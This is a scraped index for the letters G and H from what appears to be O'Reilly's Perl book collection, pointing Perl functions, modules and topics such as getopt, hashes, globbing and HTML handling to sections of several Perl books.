get_request() (HTTP::Daemon::ClientConn) : Perl in a Nutshell, Chapter 17, Reference: get_request
GetActiveObject() (Win32::OLE) : Perl in a Nutshell, Chapter 19, Reference: GetActiveObject
GetAttributes() (Win32::File) : Perl in a Nutshell, 19.5. Win32::File
getc()
Perl in a Nutshell, Chapter 5, Reference: getc
Programming Perl, 3.2.43. getc
Programming Perl, 8.3.1. Time Efficiency
GetCwd function : Learning Perl on Win32 Systems, 12.1. Moving Around the Directory Tree
GetCwd module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
getcwd() routine : Programming Perl, 7.2.7. Cwd - Get Pathname of Current Working Directory
GetDomainController() (Win32::NetAdmin) : Perl in a Nutshell, Chapter 19, Reference: GetDomainController
GetError() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: GetError
GetEvents() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: GetEvents
GetExitCode() (Win32::Process) : Perl in a Nutshell, Chapter 19, Reference: GetExitCode
GetFileAttributes method : Learning Perl on Win32 Systems, 13.4. Modifying Permissions
getgrent()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: getgrent
Programming Perl, 3.2.44. getgrent
getgrgid()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: getgrgid
Programming Perl, 3.2.45. getgrgid
getgrnam()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: getgrnam
Programming Perl, 3.2.46. getgrnam
gethostbyaddr()
Perl Cookbook, 17.7. Identifying the Other End of a Socket
Perl in a Nutshell, Chapter 5, Reference: gethostbyaddr
Programming Perl, 3.2.47. gethostbyaddr
gethostbyname()
Perl Cookbook, 17.7. Identifying the Other End of a Socket
Learning Perl, 16.3. Getting Network Information
Perl in a Nutshell, Chapter 5, Reference: gethostbyname
Programming Perl, 3.2.48. gethostbyname
gethostent()
Perl in a Nutshell, Chapter 5, Reference: gethostent
Programming Perl, 3.2.49. gethostent
GetKeys() (Win32::Registry) : Perl in a Nutshell, Chapter 19, Reference: GetKeys
GetLastError module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
getlogin()
Perl in a Nutshell, Chapter 5, Reference: getlogin
Programming Perl, 3.2.50. getlogin
getnetbyaddr()
Perl in a Nutshell, Chapter 5, Reference: getnetbyaddr
Programming Perl, 3.2.51. getnetbyaddr
getnetbyname()
Perl in a Nutshell, Chapter 5, Reference: getnetbyname
Programming Perl, 3.2.52. getnetbyname
getnetent()
Perl in a Nutshell, Chapter 5, Reference: getnetent
Programming Perl, 3.2.53. getnetent
GetNextAvailDrive module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
GetNumber() (Win32::EventLog) : Perl in a Nutshell, Chapter 19, Reference: GetNumber
GetObject() (Win32::OLE) : Perl in a Nutshell, Chapter 19, Reference: GetObject
GetOldest() (Win32::EventLog) : Perl in a Nutshell, Chapter 19, Reference: GetOldest
getopt()
Perl Cookbook, 15.1. Parsing Program Arguments
Learning Perl, 6.2. Input from the Diamond Operator
Programming Perl, 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
Getopt::Long module
Perl Cookbook, 15.1. Parsing Program Arguments
Perl in a Nutshell, 8.86. Getopt::Long
Programming Perl, 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
Getopt::Std module
Perl Cookbook, 15.1. Parsing Program Arguments
Perl in a Nutshell, 8.87. Getopt::Std
Programming Perl, 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
GetOptions()
Perl Cookbook, 15.1. Parsing Program Arguments
Programming Perl, 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
getopts()
Perl Cookbook, 15.1. Parsing Program Arguments
Programming Perl, 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
GetOSVersion module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
getpcomidx program (example) : Perl Cookbook, 7.12. Flushing Output
getpeername()
Perl Cookbook, 17.14. Writing a Multi-Homed Server
Perl in a Nutshell, Chapter 5, Reference: getpeername
Programming Perl, 3.2.54. getpeername
getpgrp()
Perl in a Nutshell, Chapter 5, Reference: getpgrp
Programming Perl, 3.2.55. getpgrp
getpos() : Programming Perl, 7.2.33. FileHandle - Supply Object Methods for Filehandles
getppid()
Perl in a Nutshell, Chapter 5, Reference: getppid
Programming Perl, 3.2.56. getppid
getprint() (LWP::Simple) : Perl in a Nutshell, Chapter 17, Reference: getprint
getpriority()
Perl in a Nutshell, Chapter 5, Reference: getpriority
Programming Perl, 3.2.57. getpriority
GetPriorityClass() (Win32::Process) : Perl in a Nutshell, Chapter 19, Reference: GetPriorityClass
getprotobyname()
Perl Cookbook, 17.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: getprotobyname
Perl in a Nutshell, 13.1.1. Initializing a Socket
Programming Perl, 3.2.58. getprotobyname
getprotobynumber()
Perl in a Nutshell, Chapter 5, Reference: getprotobynumber
Programming Perl, 3.2.59. getprotobynumber
getprotoent()
Perl in a Nutshell, Chapter 5, Reference: getprotoent
Programming Perl, 3.2.60. getprotoent
getpwent()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: getpwent
Programming Perl, 3.2.61. getpwent
examples of : Learning Perl, A.15. Chapter 16, System Database Access
getpwnam()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: getpwnam
Programming Perl, 3.2.62. getpwnam
getpwuid()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: getpwuid
Programming Perl, 3.2.50. getlogin
Programming Perl, 3.2.63. getpwuid
GetResponse() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: GetResponse
getservbyname()
Learning Perl on Win32 Systems, C. Networking Clients
Perl in a Nutshell, Chapter 5, Reference: getservbyname
Programming Perl, 3.2.64. getservbyname
getservbyport()
Learning Perl on Win32 Systems, C. Networking Clients
Perl in a Nutshell, Chapter 5, Reference: getservbyport
Programming Perl, 3.2.65. getservbyport
GetServices() (Win32::Service) : Perl in a Nutshell, Chapter 19, Reference: GetServices
getservent()
Perl in a Nutshell, Chapter 5, Reference: getservent
Programming Perl, 3.2.66. getservent
GetSharedResource() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: GetSharedResources
GetShortPathName function : Learning Perl on Win32 Systems, 10.3. Using Pathnames and Filenames
GetShortPathName module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
getsockname()
Perl in a Nutshell, Chapter 5, Reference: getsockname
Programming Perl, 3.2.67. getsockname
getsockopt()
Perl Cookbook, 17.13. Non-Forking Servers
Perl in a Nutshell, Chapter 5, Reference: getsockopt
Programming Perl, 3.2.68. getsockopt
GetStatus() (Win32::Service) : Perl in a Nutshell, Chapter 19, Reference: GetStatus
GetStatusCallback() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: GetStatusCallback
getstore() (LWP::Simple) : Perl in a Nutshell, Chapter 17, Reference: getstore
gettags() (Canvas) : Perl in a Nutshell, 18.12.3. Canvas Methods
GetTerminalSize( ) : Perl Cookbook, 15.4. Determining Terminal or Window Size
GetTickCount module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
GetUNCName() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: GetUNCName
GetValues() (Win32::Registry)
Learning Perl on Win32 Systems, 16.5. Opening and Reading Registry Values
Perl in a Nutshell, Chapter 19, Reference: GetValues
ggh program (example) : Perl Cookbook, 14.11. Program: ggh - Grep Netscape Global History
gid (group ID)
(see also $ variables, $( variable; $ variables, $) variable)
Learning Perl, 10.6. The stat and lstat Functions
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 3.2.15. chown
assumed : Programming Perl, 6.2.2.2. Talking to yourself
looking up files by : Programming Perl, 3.2.45. getgrgid
$gid file statistic : Programming Perl, 3.2.159. stat
$GID ($() variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
glob()
Perl in a Nutshell, Chapter 5, Reference: glob
Programming Perl, 2.3.7.3. Filename globbing operator
Programming Perl, 3.2.69. glob
glob keyword : Perl Cookbook, 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
global
arrays and hashes : Programming Perl, 2.9.4. Global Special Arrays
declarations : Programming Perl, 2.6.7. Global Declarations
filehandles : Programming Perl, 2.9.5. Global Special Filehandles
pattern matching : Programming Perl, 2.4.2. Pattern-Matching Operators
search and replace
examples of : Learning Perl, A.9. Chapter 10, Filehandles and File Tests
in substitute operator : Learning Perl, 7.5. Substitutions
special variables
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
values, saving : Perl Cookbook, 10.13. Saving Global Values
variables
Advanced Perl Programming, 3.1. Perl Variables, Symbol Table, and Scoping
Learning Perl, 8.1. Defining a User Function
Programming Perl, 7.2.76. vars - Predeclare Global Variable Names
globbing
(see pattern matching)
(see also typeglobs)
Learning Perl, 1.5.13. Many Secret Word Files in the Current Directory
Learning Perl, 12.2. Globbing
Learning Perl on Win32 Systems, 1.6.13. Many Secret Word Files in the Current Directory
Learning Perl on Win32 Systems, 12.2. Globbing
Programming Perl, 2.3.7.3. Filename globbing operator
compared with regular expressions : Learning Perl, 12.2. Globbing
example of, with unlink() : Learning Perl, 13.1. Removing a File
variable interpolation
(see also variable interpolation)
Learning Perl, 12.2. Globbing
glue code
Advanced Perl Programming, 18.1. Writing an Extension: Overview
Advanced Perl Programming, 18.4.4. Special Code
GMT (Greenwich Mean Time) : Programming Perl, 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
gmtime()
Perl Cookbook, 3.0. Introduction
Perl Cookbook, 3.3. Converting Epoch Seconds to DMYHMS
Perl Cookbook, 3.8. Printing a Date
Perl in a Nutshell, Chapter 5, Reference: gmtime
Programming Perl, 3.2.70. gmtime
GNU Public License : Learning Perl, 1.3. Availability
goto()
Learning Perl, 9.4. Labeled Blocks
Perl in a Nutshell, Chapter 5, Reference: goto
Perl in a Nutshell, 4.3.1.6. goto
Programming Perl, 2.6.6. Goto
Programming Perl, 3.2.71. goto
Programming Perl, 8.3.1. Time Efficiency
graphical input devices
Learning Perl, 19.6. Form Generation
Learning Perl, 19.7. Other Form Elements
Learning Perl, 19.8.2. Objects in CGI.pm
graphical user interfaces : (see GUIs (graphical user interfaces))
graphics, widgets and : Advanced Perl Programming, 14.3.1.2. Images
grave accents : (see ` (backquote))
greater than (>, gt) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 2.5.11. Relational Operators
greater than or equal (>=, ge) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 2.5.11. Relational Operators
greater than sign : (see < > (angle brackets))
greediness in regular expressions
Learning Perl, 7.3.2.2. Multipliers
Perl in a Nutshell, 4.6.6. Quantifiers
Programming Perl, 1.7.1. Quantifiers
Programming Perl, 2.4.1.2. The rules of regular expression matching
greedy pattern matching
Perl Cookbook, 6.0. Introduction
Perl Cookbook, 6.15. Greedy and Non-Greedy Matches
Greenwich Mean Time (GMT)
Programming Perl, 3.2.70. gmtime
Programming Perl, 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
grep()
Learning Perl on Win32 Systems, D.5.1. grep and map
Perl in a Nutshell, Chapter 5, Reference: grep
Programming Perl, 3.2.72. grep
Programming Perl, 8.4. Programming with Style
compared with Perl : Learning Perl, 1.5.7. Handling Varying Input Formats
emulating -i flag of : Learning Perl, 7.4.2. Ignoring Case
examples of
Advanced Perl Programming, 5.5.1. A Fast Multipattern grep
Learning Perl, 7.2. Simple Uses of Regular Expressions
extracting array subsets : Perl Cookbook, 4.13. Finding All Elements in an Array Matching Certain Criteria
grepauth program (example) : Perl Cookbook, 6.10. Speeding Up Interpolated Matches
grid() (Frame widget)
Advanced Perl Programming, 14.4.2. Grid
Perl in a Nutshell, 18.18.1. Toplevel Methods
grid geometry manager (Perl/Tk)
Advanced Perl Programming, 14.4.2. Grid
Perl in a Nutshell, 18.2.2. The grid Geometry Manager
gridBBox() (grid manager) : Perl in a Nutshell, 18.2.2.1. Grid methods
gridColumnconfigure() (grid manager) : Perl in a Nutshell, 18.2.2.1. Grid methods
gridForget() (grid manager) : Perl in a Nutshell, 18.2.2.1. Grid methods
gridInfo() (grid manager) : Perl in a Nutshell, 18.2.2.1. Grid methods
gridLocation() (grid manager) : Perl in a Nutshell, 18.2.2.1. Grid methods
gridPropagate() (grid manager) : Perl in a Nutshell, 18.2.2.1. Grid methods
gridRowconfigure() (grid manager) : Perl in a Nutshell, 18.2.2.1. Grid methods
gridSize() (grid manager) : Perl in a Nutshell, 18.2.2.1. Grid methods
gridSlaves() (grid manager) : Perl in a Nutshell, 18.2.2.1. Grid methods
group()
Frame widget : Perl in a Nutshell, 18.18.1. Toplevel Methods
Net::NNTP module
Perl in a Nutshell, Chapter 15, Reference: group
Perl in a Nutshell, 15.1. The NNTP Protocol
group file, accessing : Learning Perl, 16.1. Getting Password and Group Information
group ID : (see gid)
group name : Programming Perl, 3.2.46. getgrnam
group process, returning priority of : Programming Perl, 3.2.57. getpriority
grouping operator
Programming Perl, 2.4.1.1. The regular expression bestiary
Programming Perl, 2.4.1.2. The rules of regular expression matching
for expressions : Programming Perl, 2.5. Operators
groups() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: groups
groups, fetching information on : Perl in a Nutshell, 5.1. Perl Functions by Category
gt (greater-than) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
guestbook program (example)
Learning Perl, 19.8. Creating a Guestbook Program
Perl in a Nutshell, 9.1. A Typical CGI Interaction
GUIs (graphical user interfaces)
Advanced Perl Programming, 14. User Interfaces with Tk
Perl Cookbook, 15.0. Introduction
checking for waiting input : Perl Cookbook, 15.9. Checking for Waiting Input
clearing the screen : Perl Cookbook, 15.3. Clearing the Screen
controlling programs with Expect : Perl Cookbook, 15.13. Controlling Another Program with Expect
determining window size : Perl Cookbook, 15.4. Determining Terminal or Window Size
dialog boxes with Tk : Perl Cookbook, 15.15. Creating Dialog Boxes with Tk
editing input : Perl Cookbook, 15.11. Editing Input
full-screen mode : Perl Cookbook, 15.0. Introduction
managing screen : Perl Cookbook, 15.12. Managing the Screen
manipulating terminal directly : Perl Cookbook, 15.8. Using POSIX termios
menus with Tk : Perl Cookbook, 15.14. Creating Menus with Tk
multiscreen CGI scripts : Perl Cookbook, 19.12. Writing a Multiscreen CGI Script
parsing command-line options : Perl Cookbook, 15.1. Parsing Program Arguments
Perl/Tk and : Advanced Perl Programming, 14.2. Starting with Perl/Tk
perlman text viewer example : Advanced Perl Programming, 16. GUI Example: Man Page Viewer
reading from keyboard : Perl Cookbook, 15.6. Reading from the Keyboard
reading passwords without echo : Perl Cookbook, 15.10. Reading Passwords
removing DOS shell window : Perl Cookbook, 15.17. Removing the DOS Shell Window with Windows Perl/Tk
ringing terminal bell : Perl Cookbook, 15.7. Ringing the Terminal Bell
tcapdemo program : Perl Cookbook, 15.18. Program: Small termcap program
testing programs if running interactively : Perl Cookbook, 15.2. Testing Whether a Program Is Running Interactively
Tetris (example) : Advanced Perl Programming, 15. GUI Example: Tetris
text color : Perl Cookbook, 15.5. Changing Text Color
Tk resize events : Perl Cookbook, 15.16. Responding to Tk Resize Events
GVs : (see typeglobs)
gzip utility : Learning Perl on Win32 Systems, 1.3.2. Standard Perl Distribution

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

h command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: h
h command (debugger)
Perl in a Nutshell, Chapter 6, Reference: h
Programming Perl, 8.1.1. Debugger Commands
H command (debugger)
Perl in a Nutshell, Chapter 6, Reference: H
Programming Perl, 8.1.1. Debugger Commands
-h option (perl)
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
-h option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
h2ph tool : Perl Cookbook, 12.14. Using h2ph to Translate C #include Files
h2xs tool
(see XS tool)
Perl Cookbook, 12.8. Preparing a Module for Distribution
Perl Cookbook, 12.15. Using h2xs to Make a Module with C Code
handles
(see directory handles)
(see filehandles)
handling
exceptions : (see exceptions)
multiple clients : Advanced Perl Programming, 12.3. Handling Multiple Clients
signals : Advanced Perl Programming, 4.2.2. Signal Handlers
handling signals : (see signals)
hard links
Perl Cookbook, 9.0. Introduction
Learning Perl, 13.3. Creating Alternate Names for a File: Linking
hard references
Advanced Perl Programming, 1.6.1. Reference Counts
Programming Perl, 4.1. What Is a Reference?
Programming Perl, 4.2. Creating Hard References
Programming Perl, 4.5.1. Hard References Don't Work as Hash Keys
Harness module : Programming Perl, 7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics
"has-a" relationship : Programming Perl, 5.5.5. Containment (the "Has-a" Relationship)
hash functions : Advanced Perl Programming, 20.3.3.1. Inside HVs
hash keys : Learning Perl on Win32 Systems, 1.6.6. Giving Each Person a Different Secret Word
hash mark : (see # (hash mark))
Hash module : Programming Perl, 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
hash operators : Learning Perl on Win32 Systems, 5.4. Hash Functions
hash prototype symbol (%) : Perl in a Nutshell, 4.7.5. Prototypes
hash values/entries (HVs/HEs) : Advanced Perl Programming, 20.3.3. Hash Values (HVs)
stashes : (see symbol tables)
hashes (associative arrays)
Advanced Perl Programming, 1.6. A View of the Internals
Perl Cookbook, 4.6. Extracting Unique Elements from a List
Perl Cookbook, 5.0. Introduction
Learning Perl, 1.5.6. Giving Each Person a Different Secret Word
Learning Perl, 5.1. What Is a Hash?
Learning Perl on Win32 Systems, 1.6.6. Giving Each Person a Different Secret Word
Learning Perl on Win32 Systems, 5.1. What Is a Hash?
Perl in a Nutshell, 4.2. Data Types and Variables
Perl in a Nutshell, 4.2.4.2. Hashes
Programming Perl, 1.2.1.2. Pluralities
Programming Perl, 2.2. Built-in Data Types
Programming Perl, 2.3.5. Hashes (Associative Arrays)
adding elements to
Perl Cookbook, 5.1. Adding an Element to a Hash
Perl Cookbook, 10.11. Prototyping Functions
anonymous
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
Perl Cookbook, 11.0. Introduction
Programming Perl, 4.2.3. The Anonymous Hash Composer
of arrays
Perl Cookbook, 11.2. Making Hashes of Arrays
Programming Perl, 4.7.2. Hashes of Arrays
arrow notation for : Advanced Perl Programming, 1.1.7. Shortcuts with the Arrow Notation
binding
Advanced Perl Programming, 9.3. Tying Hashes
Programming Perl, 3.2.24. dbmopen
comparing for keys : Perl Cookbook, 5.11. Finding Common or Different Keys in Two Hashes
of complex records : Programming Perl, 4.7.5.3. Generation of a hash of complex records
creating new elements : Learning Perl, 5.2. Hash Variables
dictionary file, searching : Programming Perl, 7.2.53. Search::Dict - Search for Key in Dictionary File
dutree program : Perl Cookbook, 5.16. Program: dutree
examples
Advanced Perl Programming, 2.3.1. Representation
Learning Perl, 1.5.6. Giving Each Person a Different Secret Word
Learning Perl on Win32 Systems, 1.6.6. Giving Each Person a Different Secret Word
finding most common anything : Perl Cookbook, 5.14. Finding the Most Common Anything
functions for processing : Perl in a Nutshell, 5.1. Perl Functions by Category
global : Programming Perl, 2.9.4. Global Special Arrays
hard references as keys : Programming Perl, 4.5.1. Hard References Don't Work as Hash Keys
of hashes : Advanced Perl Programming, 2.2.1. Hash of Hashes Representation
initializing with x operator : Programming Perl, 2.5.7. Multiplicative Operators
instead of linear searches : Programming Perl, 8.3.1. Time Efficiency
inverting
Perl Cookbook, 5.8. Inverting a Hash
Programming Perl, 3.2.126. reverse
key/value pair precedence : Programming Perl, 2.3.5. Hashes (Associative Arrays)
for list unions, intersections, differences : Perl Cookbook, 4.7. Finding Elements in One Array but Not Another
literal representation of : Learning Perl, 5.3. Literal Representation of a Hash
merging : Perl Cookbook, 5.10. Merging Hashes
multidimensional : Programming Perl, 4.7.4. Hashes of Hashes
multiple values per key : Perl Cookbook, 5.7. Hashes with Multiple Values Per Key
named
Advanced Perl Programming, 1.3. Nested Data Structures
Programming Perl, 2.3.1. Variables
order in
Learning Perl, 5.1. What Is a Hash?
Learning Perl on Win32 Systems, 5.1. What Is a Hash?
passing to subroutines : Advanced Perl Programming, 1.2.1. Passing Arrays and Hashes to Subroutines
presizing : Perl Cookbook, 5.13. Presizing a Hash
printing : Perl Cookbook, 5.5. Printing a Hash
reading/writing records to file : Perl Cookbook, 11.10. Reading and Writing Hash Records to Text Files
references as elements : Perl Cookbook, 5.12. Hashing References
references to
Advanced Perl Programming, 1.1.5. References to Hashes
Advanced Perl Programming, 1.6.2. Array/Hash References Versus Element References
Perl Cookbook, 11.3. Taking References to Hashes
removing/deleting elements from
Perl Cookbook, 5.3. Deleting from a Hash
Learning Perl, 5.4.4. The delete Function
Programming Perl, 3.2.26. delete
representing data relationships : Perl Cookbook, 5.15. Representing Relationships Between Data
retrieving in insertion order : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
returning keys and values
Perl Cookbook, 5.2. Testing for the Presence of a Key in a Hash
Programming Perl, 3.2.30. each
Programming Perl, 3.2.79. keys
Programming Perl, 3.2.187. values
simulating data structures with : Advanced Perl Programming, 2.1. User-Defined Structures
slices of : Perl Cookbook, 4.7. Finding Elements in One Array but Not Another
sorting elements of
Perl Cookbook, 5.9. Sorting a Hash
Learning Perl, 15.4. Advanced Sorting
Programming Perl, 7.2.8.4. In-memory databases
special (predefined) : Perl in a Nutshell, 4.4.2. Global Special Arrays and Hashes
stepping through : Learning Perl, 5.4.3. The each Function
SubstrHash module : Programming Perl, 7.2.74. Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing
symbol tables : Programming Perl, 5.1.1. Symbol Tables
of symbolic references : Advanced Perl Programming, 1.5. Symbolic References
tied
Perl Cookbook, 13.15. Creating Magic Variables with tie
Programming Perl, 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
traversing : Perl Cookbook, 5.4. Traversing a Hash
typing : Programming Perl, 5.4.3. Tying Hashes
variables : Learning Perl, 5.2. Hash Variables
head()
LWP::Simple module
Perl Cookbook, 20.7. Finding Stale Links
Perl in a Nutshell, Chapter 17, Reference: head
Perl in a Nutshell, 17.2.2. LWP::Simple
Mail::Internet module
Perl in a Nutshell, Chapter 14, Reference: head
Perl in a Nutshell, Chapter 14, Reference: Head
Perl in a Nutshell, 14.2.8.1. Counting messages
Net::NNTP module : Perl in a Nutshell, Chapter 15, Reference: head
HEAD method : Perl Cookbook, 19.0. Introduction
=head1 command (pod) : Perl in a Nutshell, Chapter 4, Reference: =head1
=head2 command (pod) : Perl in a Nutshell, Chapter 4, Reference: =head2
=head2 pod directive : Perl Cookbook, 12.16. Documenting Your Module with Pod
HeadAndBody() (Mail::POP3Client)
Perl in a Nutshell, Chapter 14, Reference: HeadAndBody
Perl in a Nutshell, 14.2.8.3. Retrieving the message body
header()
CGI.pm module
Perl in a Nutshell, Chapter 10, Reference: header
Perl in a Nutshell, 10. The CGI.pm Module
HTTP::Headers module : Perl in a Nutshell, Chapter 17, Reference: header
HTTP::Message module : Perl in a Nutshell, Chapter 17, Reference: headers
header files (C) : Advanced Perl Programming, 18.1.1. The Extension Process
headerfy program (example) : Perl Cookbook, 6.6. Matching Multiple Lines
headers, HTTP : Perl in a Nutshell, 17.3.3. HTTP::Headers
-height option
place geometry manager : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
widgets : Perl in a Nutshell, 18.3. Common Widget Configuration Options
hello() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: hello
Hello, world (program example)
Learning Perl, 1.5.1. The "Hello, World" Program
Learning Perl on Win32 Systems, 1.6.1. The "Hello, world" Program
HELO command (SMTP) : Perl in a Nutshell, 14.1.2. The SMTP Protocol and the SMTP Session
help
documentation : Learning Perl on Win32 Systems, 1.5.1. Documentation
Perl references : Perl Cookbook, Other Books
pod documentation for modules : Perl Cookbook, 12.16. Documenting Your Module with Pod
sorting =head1 sections : Perl Cookbook, 15.19. Program: tkshufflepod
technical support : Learning Perl on Win32 Systems, 1.4. Support
web references : Perl Cookbook, 19.0. Introduction
help() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: help
here documents
Advanced Perl Programming, 17.4.2. Template Parser
Perl Cookbook, 1.0. Introduction
Learning Perl, 19.3. Simplest CGI Program
Programming Perl, 2.3.2.6. "Here" documents
indenting : Perl Cookbook, 1.11. Indenting Here Documents
here strings : Learning Perl, 2.3. Strings
HEs (hash entries) : Advanced Perl Programming, 20.3.3. Hash Values (HVs)
hex()
Perl Cookbook, 2.16. Converting Between Octal and Hexadecimal
Learning Perl, 2.2.3. Integer Literals
Learning Perl, 2.4.4. Conversion Between Numbers and Strings
Learning Perl on Win32 Systems, 2.2.3. Integer Literals
Learning Perl on Win32 Systems, 2.4.4. Conversion Between Numbers and Strings
Perl in a Nutshell, Chapter 5, Reference: hex
Programming Perl, 3.2.73. hex
hexadecimal numbers
Perl Cookbook, 2.16. Converting Between Octal and Hexadecimal
Learning Perl, 2.2.3. Integer Literals
Programming Perl, 2.3.2.2. String literals
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 3.2.73. hex
hidden() (CGI.pm)
Perl Cookbook, 19.12. Writing a Multiscreen CGI Script
Perl in a Nutshell, Chapter 10, Reference: hidden
Hietaniemi, Jarkko : Perl in a Nutshell, 2.1. The CPAN Architecture
high-resolution timers : Perl Cookbook, 3.9. High-Resolution Timers
higher-order procedures : Advanced Perl Programming, 4.2.2.1. Expression plotting
-highlightbackground option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-highlightcolor option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-highlightthickness option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
hints, compiler : Programming Perl, 2.9.3. Global Special Variables
HiRes module : Advanced Perl Programming, 9.1.1. Example: Stopwatch
history object (PerlScript) : Perl in a Nutshell, 20.1. Client-Side PerlScript
history of Perl
Learning Perl, 1.1. History of Perl
Programming Perl, 8.7. History Made Practical
history, command : Programming Perl, 8.1.2. Using the Debugger
history.db file, grepping : Perl Cookbook, 14.11. Program: ggh - Grep Netscape Global History
hives, Registry : Learning Perl on Win32 Systems, 16.4.1. The Registry Structure
hiweb program (example) : Perl Cookbook, 19.1. Writing a CGI Script
HKEY_LOCAL_MACHINE subtree : Learning Perl on Win32 Systems, 16.4.1. The Registry Structure
HList widgets
Advanced Perl Programming, A.8. HList - Hierarchical List
Advanced Perl Programming, 14.3.11. HList
home directory : Programming Perl, 3.2.11. chdir
example of listing : Learning Perl, 16.1. Getting Password and Group Information
in password file : Learning Perl, 16.1. Getting Password and Group Information
HOME variable : Perl in a Nutshell, 3.3. Environment Variables
homepage, Perl : Programming Perl, The Perl Homepage
hopdelta program : Perl Cookbook, 3.11. Program: hopdelta
host()
Mail::Address module
Perl in a Nutshell, Chapter 14, Reference: host
Perl in a Nutshell, 14.2.6. Parse Email Addresses with Mail::Address
URI::URL module : Perl in a Nutshell, Chapter 17, Reference: host
Host() (Mail::POP3Client)
Perl in a Nutshell, Chapter 14, Reference: Host
Perl in a Nutshell, 14.2.8.2. Getting and setting the host and port
host_wait() (LWP::RobotUA) : Perl in a Nutshell, Chapter 17, Reference: host_wait
hostname, obtaining your own : Perl Cookbook, 17.8. Finding Your Own Name and Address
hostnames
Programming Perl, 3.2.47. gethostbyaddr
Programming Perl, 3.2.48. gethostbyname
Programming Perl, 3.2.52. getnetbyname
Programming Perl, 7.2.62. Sys::Hostname - Try Every Conceivable Way to Get Hostname
hostpath (IO::Socket::UNIX) : Perl in a Nutshell, Chapter 13, Reference: hostpath
hosts file : Programming Perl, 3.2.49. gethostent
hosts, pinging : Programming Perl, 7.2.46. Net::Ping - Check Whether a Host Is Online
HotKey module : Perl Cookbook, 15.8. Using POSIX termios
hours : (see date and time)
HREF fields, substitutions for : Perl Cookbook, 20.15. Program: hrefsub
hrefsub program (example) : Perl Cookbook, 20.15. Program: hrefsub
HTML (Hypertext Markup Language)
converting ASCII to/from : Perl Cookbook, 20.4. Converting ASCII to HTML
extracting tags : Perl Cookbook, 20.6. Extracting or Removing HTML Tags
extracting URLs from : Perl Cookbook, 20.3. Extracting URLs
finding stale/fresh links : Perl Cookbook, 20.7. Finding Stale Links
formatting, shortcuts in CGI.pm : Perl Cookbook, 19.7. Formatting Lists and Tables with HTML Shortcuts
forms
Perl Cookbook, 19.0. Introduction
Learning Perl, 19.2. Your CGI Program in Context
Learning Perl, 19.6. Form Generation
automating submission : Perl Cookbook, 20.2. Automating Form Submission
elements of : Learning Perl, 19.7. Other Form Elements
saving/mailing : Perl Cookbook, 19.13. Saving a Form to a File or Mail Pipe
sticky widgets : Perl Cookbook, 19.11. Creating Sticky Widgets
putting links around URLs : Perl Cookbook, 6.21. Program: urlify
tags, generating with CGI.pm : Perl in a Nutshell, 10.1. HTML Tag Generation
templates : Perl Cookbook, 20.9. Creating HTML Templates
text substitutions : Perl Cookbook, 20.14. Program: htmlsub
translating pod to
Perl in a Nutshell, Chapter 4, Reference: pod2html
Perl in a Nutshell, 8.121. Pod::Html
